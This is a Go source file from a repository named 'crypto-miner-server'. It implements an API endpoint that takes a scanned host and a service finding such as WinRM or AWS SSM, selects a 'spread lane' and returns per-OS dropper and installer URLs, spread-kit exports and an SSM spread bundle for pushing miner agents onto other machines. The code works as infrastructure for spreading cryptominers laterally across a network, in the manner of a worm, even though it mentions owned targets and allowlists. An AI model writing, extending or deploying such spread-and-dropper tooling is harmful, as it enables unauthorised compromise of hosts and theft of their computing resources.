Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
236 lines
6.5 KiB
Go
236 lines
6.5 KiB
Go
package api
|
|
|
|
import (
|
|
"net/http"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
|
|
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.deployPlan = plan
|
|
h.publicURL = publicURL
|
|
h.allowlistFn = allowlist
|
|
}
|
|
|
|
type deployKitDropperURLs struct {
|
|
GetWindows string `json:"get_windows,omitempty"`
|
|
GetLinux string `json:"get_linux,omitempty"`
|
|
GetDarwin string `json:"get_darwin,omitempty"`
|
|
Get string `json:"get,omitempty"`
|
|
InstallPS1 string `json:"install_ps1,omitempty"`
|
|
InstallSh string `json:"install_sh,omitempty"`
|
|
InstallCmd string `json:"install_command,omitempty"`
|
|
}
|
|
|
|
type deployKitSpreadZIP struct {
|
|
Method string `json:"method"`
|
|
URL string `json:"url"`
|
|
Note string `json:"note,omitempty"`
|
|
}
|
|
|
|
type deployKitSpreadTemplate struct {
|
|
Template string `json:"template,omitempty"`
|
|
Method string `json:"method"`
|
|
URL string `json:"url"`
|
|
}
|
|
|
|
// GET /api/v1/recon/deploy-kit?host=&finding=
|
|
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
|
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
|
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
|
if host == "" {
|
|
http.Error(w, "host query param required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
|
if serverURL == "" {
|
|
serverURL = "http://127.0.0.1:8989"
|
|
}
|
|
|
|
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
|
if !ok {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false,
|
|
"host": host,
|
|
"finding": finding,
|
|
"error": "no deploy lane matched finding",
|
|
})
|
|
return
|
|
}
|
|
|
|
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
|
buildID, campaign := "", ""
|
|
if h.db != nil {
|
|
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
|
|
buildID = b.ID
|
|
}
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
|
dropper := deployKitDropperURLs{
|
|
Get: serverURL + "/get" + querySuffix,
|
|
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
|
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
|
|
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
|
InstallPS1: serverURL + "/install.ps1" + querySuffix,
|
|
InstallSh: serverURL + "/install.sh" + querySuffix,
|
|
InstallCmd: serverURL + "/install.command" + querySuffix,
|
|
}
|
|
|
|
resp := map[string]interface{}{
|
|
"ok": true,
|
|
"host": host,
|
|
"finding": finding,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
"agent_reachable": agentReachable,
|
|
"agent_found": agentFound,
|
|
"dropper_urls": dropper,
|
|
"spread_kit_zip": deployKitSpreadZIP{
|
|
Method: "POST",
|
|
URL: "/api/v1/builder/spread-kit-export",
|
|
Note: "Body: { server_url, build_id?, campaign? }",
|
|
},
|
|
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
|
|
}
|
|
if agentID != "" {
|
|
resp["agent_id"] = agentID
|
|
}
|
|
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
|
resp["spread_template"] = deployKitSpreadTemplate{
|
|
Template: tpl,
|
|
Method: "POST",
|
|
URL: "/api/v1/builder/spread-template-export",
|
|
}
|
|
}
|
|
|
|
if h.deployPlan != nil {
|
|
req := deployPlanRequest{
|
|
BuildID: buildID,
|
|
Campaign: campaign,
|
|
Platform: platformForReconHost(host, lane.Lane),
|
|
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
|
|
}
|
|
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
|
resp["deploy_plan_template"] = plan
|
|
}
|
|
}
|
|
|
|
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
|
if h.deployPlan != nil {
|
|
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
|
|
BuildID: buildID, Campaign: campaign, Platform: "linux",
|
|
}, serverURL); err == nil {
|
|
resp["ssm_bundle"] = bundle
|
|
}
|
|
}
|
|
}
|
|
|
|
writeJSON(w, resp)
|
|
}
|
|
|
|
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
|
if h.allowlistFn != nil {
|
|
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
|
}
|
|
return NormalizeServiceDeployAllowlist(nil)
|
|
}
|
|
|
|
func resolveSpreadServerURL(h *SpreadHandler) string {
|
|
if h.publicURL != nil {
|
|
return h.publicURL()
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
|
finding = strings.TrimSpace(finding)
|
|
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
|
|
|
if finding == "" {
|
|
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
|
}
|
|
|
|
lower := strings.ToLower(finding)
|
|
if strings.Contains(lower, "ssm") {
|
|
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
|
}
|
|
|
|
normalized := normalizeJoinLane(finding)
|
|
for _, entry := range allowlist {
|
|
if entry.Lane == normalized {
|
|
return finding, entry, true
|
|
}
|
|
}
|
|
if normalized != "" && normalized != finding {
|
|
return finding, ServiceDeployLane{Lane: normalized}, true
|
|
}
|
|
|
|
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
|
|
{Name: finding, Status: "running"},
|
|
}, allowlist)
|
|
if ok {
|
|
return matched, lane, true
|
|
}
|
|
|
|
// Case-insensitive service alias (e.g. winrm → WinRM)
|
|
for name, entry := range allowlist {
|
|
if strings.EqualFold(name, finding) {
|
|
return name, entry, true
|
|
}
|
|
}
|
|
return "", ServiceDeployLane{}, false
|
|
}
|
|
|
|
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
|
|
host = strings.TrimSpace(strings.ToLower(host))
|
|
if host == "" || h.db == nil {
|
|
return "", false, false
|
|
}
|
|
agents, err := h.db.ListAgents()
|
|
if err != nil {
|
|
return "", false, false
|
|
}
|
|
var match *models.Agent
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
|
name := strings.TrimSpace(strings.ToLower(ag.Name))
|
|
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
|
|
if ip == host || name == host || hostname == host {
|
|
if match == nil || ag.Status == "online" {
|
|
match = ag
|
|
}
|
|
}
|
|
}
|
|
if match == nil {
|
|
return "", false, false
|
|
}
|
|
reachable = match.Status == "online"
|
|
if h.wsHub != nil {
|
|
reachable = h.wsHub.isAgentConnected(match.ID)
|
|
}
|
|
return match.ID, reachable, true
|
|
}
|
|
|
|
func platformForReconHost(host, lane string) string {
|
|
if strings.Contains(lane, "linux") {
|
|
return "linux"
|
|
}
|
|
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
|
|
_ = host
|
|
return "windows"
|
|
}
|
|
|
|
func urlQueryEscape(s string) string {
|
|
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
|
|
}
|